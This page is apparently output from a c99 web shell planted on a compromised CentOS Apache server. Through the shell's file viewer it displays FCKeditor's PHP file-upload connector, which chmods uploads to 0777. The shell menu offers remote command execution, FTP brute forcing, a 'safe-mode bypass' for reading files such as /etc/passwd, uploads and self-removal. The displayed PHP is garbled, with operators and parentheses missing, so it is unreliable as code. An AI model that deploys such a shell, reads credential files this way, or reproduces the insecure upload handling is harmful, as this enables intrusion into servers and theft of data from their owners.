!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/fckeditor/editor/filemanager/connectors/php/   drwxr-xr-x
Free 48.07 GB of 127.8 GB (37.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     commands.php (5.92 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * FCKeditor - The text editor for Internet - http://www.fckeditor.net
 * Copyright (C) 2003-2007 Frederico Caldeira Knabben
 *
 * == BEGIN LICENSE ==
 *
 * Licensed under the terms of any of the following licenses at your
 * choice:
 *
 *  - GNU General Public License Version 2 or later (the "GPL")
 *    http://www.gnu.org/licenses/gpl.html
 *
 *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
 *    http://www.gnu.org/licenses/lgpl.html
 *
 *  - Mozilla Public License Version 1.1 or later (the "MPL")
 *    http://www.mozilla.org/MPL/MPL-1.1.html
 *
 * == END LICENSE ==
 *
 * This is the File Manager Connector for PHP.
 */

function GetFolders$resourceType$currentFolder )
{
    
// Map the virtual path to the local server path.
    
$sServerDir ServerMapFolder$resourceType$currentFolder'GetFolders' ) ;

    
// Array that will hold the folders names.
    
$aFolders    = array() ;

    
$oCurrentFolder opendir$sServerDir ) ;

    while ( 
$sFile readdir$oCurrentFolder ) )
    {
        if ( 
$sFile != '.' && $sFile != '..' && is_dir$sServerDir $sFile ) )
            
$aFolders[] = '<Folder name="' ConvertToXmlAttribute$sFile ) . '" />' ;
    }

    
closedir$oCurrentFolder ) ;

    
// Open the "Folders" node.
    
echo "<Folders>" ;

    
natcasesort$aFolders ) ;
    foreach ( 
$aFolders as $sFolder )
        echo 
$sFolder ;

    
// Close the "Folders" node.
    
echo "</Folders>" ;
}

function 
GetFoldersAndFiles$resourceType$currentFolder )
{
    
// Map the virtual path to the local server path.
    
$sServerDir ServerMapFolder$resourceType$currentFolder'GetFoldersAndFiles' ) ;

    
// Arrays that will hold the folders and files names.
    
$aFolders    = array() ;
    
$aFiles        = array() ;

    
$oCurrentFolder opendir$sServerDir ) ;

    while ( 
$sFile readdir$oCurrentFolder ) )
    {
        if ( 
$sFile != '.' && $sFile != '..' )
        {
            if ( 
is_dir$sServerDir $sFile ) )
                
$aFolders[] = '<Folder name="' ConvertToXmlAttribute$sFile ) . '" />' ;
            else
            {
                
$iFileSize = @filesize$sServerDir $sFile ) ;
                if ( !
$iFileSize ) {
                    
$iFileSize ;
                }
                if ( 
$iFileSize )
                {
                    
$iFileSize round$iFileSize 1024 ) ;
                    if ( 
$iFileSize $iFileSize ;
                }

                
$aFiles[] = '<File name="' ConvertToXmlAttribute$sFile ) . '" size="' $iFileSize '" />' ;
            }
        }
    }

    
// Send the folders
    
natcasesort$aFolders ) ;
    echo 
'<Folders>' ;

    foreach ( 
$aFolders as $sFolder )
        echo 
$sFolder ;

    echo 
'</Folders>' ;

    
// Send the files
    
natcasesort$aFiles ) ;
    echo 
'<Files>' ;

    foreach ( 
$aFiles as $sFiles )
        echo 
$sFiles ;

    echo 
'</Files>' ;
}

function 
CreateFolder$resourceType$currentFolder )
{
    if (!isset(
$_GET)) {
        global 
$_GET;
    }
    
$sErrorNumber    '0' ;
    
$sErrorMsg        '' ;

    if ( isset( 
$_GET['NewFolderName'] ) )
    {
        
$sNewFolderName $_GET['NewFolderName'] ;
        
$sNewFolderName SanitizeFolderName$sNewFolderName ) ;

        if ( 
strpos$sNewFolderName'..' ) !== FALSE )
            
$sErrorNumber '102' ;        // Invalid folder name.
        
else
        {
            
// Map the virtual path to the local server path of the current folder.
            
$sServerDir ServerMapFolder$resourceType$currentFolder'CreateFolder' ) ;

            if ( 
is_writable$sServerDir ) )
            {
                
$sServerDir .= $sNewFolderName ;

                
$sErrorMsg CreateServerFolder$sServerDir ) ;

                switch ( 
$sErrorMsg )
                {
                    case 
'' :
                        
$sErrorNumber '0' ;
                        break ;
                    case 
'Invalid argument' :
                    case 
'No such file or directory' :
                        
$sErrorNumber '102' ;        // Path too long.
                        
break ;
                    default :
                        
$sErrorNumber '110' ;
                        break ;
                }
            }
            else
                
$sErrorNumber '103' ;
        }
    }
    else
        
$sErrorNumber '102' ;

    
// Create the "Error" node.
    
echo '<Error number="' $sErrorNumber '" originalDescription="' ConvertToXmlAttribute$sErrorMsg ) . '" />' ;
}

function 
FileUpload$resourceType$currentFolder$sCommand )
{
    if (!isset(
$_FILES)) {
        global 
$_FILES;
    }
    
$sErrorNumber '0' ;
    
$sFileName '' ;

    if ( isset( 
$_FILES['NewFile'] ) && !is_null$_FILES['NewFile']['tmp_name'] ) )
    {
        global 
$Config ;

        
$oFile $_FILES['NewFile'] ;

        
// Map the virtual path to the local server path.
        
$sServerDir ServerMapFolder$resourceType$currentFolder$sCommand ) ;

        
// Get the uploaded file name.
        
$sFileName $oFile['name'] ;
        
$sFileName SanitizeFileName$sFileName ) ;

        
$sOriginalFileName $sFileName ;

        
// Get the extension.
        
$sExtension substr$sFileName, ( strrpos($sFileName'.') + ) ) ;
        
$sExtension strtolower$sExtension ) ;

        if ( isset( 
$Config['SecureImageUploads'] ) )
        {
            if ( !
IsImageValid$oFile['tmp_name'], $sExtension ) )
            {
                
$sErrorNumber '202' ;
            }
        }
        
        if ( isset( 
$Config['HtmlExtensions'] ) )
        {
            if ( !
IsHtmlExtension$sExtension$Config['HtmlExtensions'] ) && DetectHtml$oFile['tmp_name'] ) )
            {
                
$sErrorNumber '202' ;
            }
        }

        
// Check if it is an allowed extension.
        
if ( !$sErrorNumber && IsAllowedExt$sExtension$resourceType ) )
        {
            
$iCounter ;

            while ( 
true )
            {
                
$sFilePath $sServerDir $sFileName ;

                if ( 
is_file$sFilePath ) )
                {
                    
$iCounter++ ;
                    
$sFileName RemoveExtension$sOriginalFileName ) . '(' $iCounter ').' $sExtension ;
                    
$sErrorNumber '201' ;
                }
                else
                {
                    
move_uploaded_file$oFile['tmp_name'], $sFilePath ) ;

                    if ( 
is_file$sFilePath ) )
                    {
                        
$oldumask umask(0) ;
                        
chmod$sFilePath0777 ) ;
                        
umask$oldumask ) ;
                    }

                    break ;
                }
            }
        }
        else
            
$sErrorNumber '202' ;
    }
    else
        
$sErrorNumber '202' ;


    
$sFileUrl CombinePathsGetResourceTypePath$resourceType$sCommand ) , $currentFolder ) ;
    
$sFileUrl CombinePaths$sFileUrl$sFileName ) ;

    
SendUploadResults$sErrorNumber$sFileUrl$sFileName ) ;

    exit ;
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.012 ]--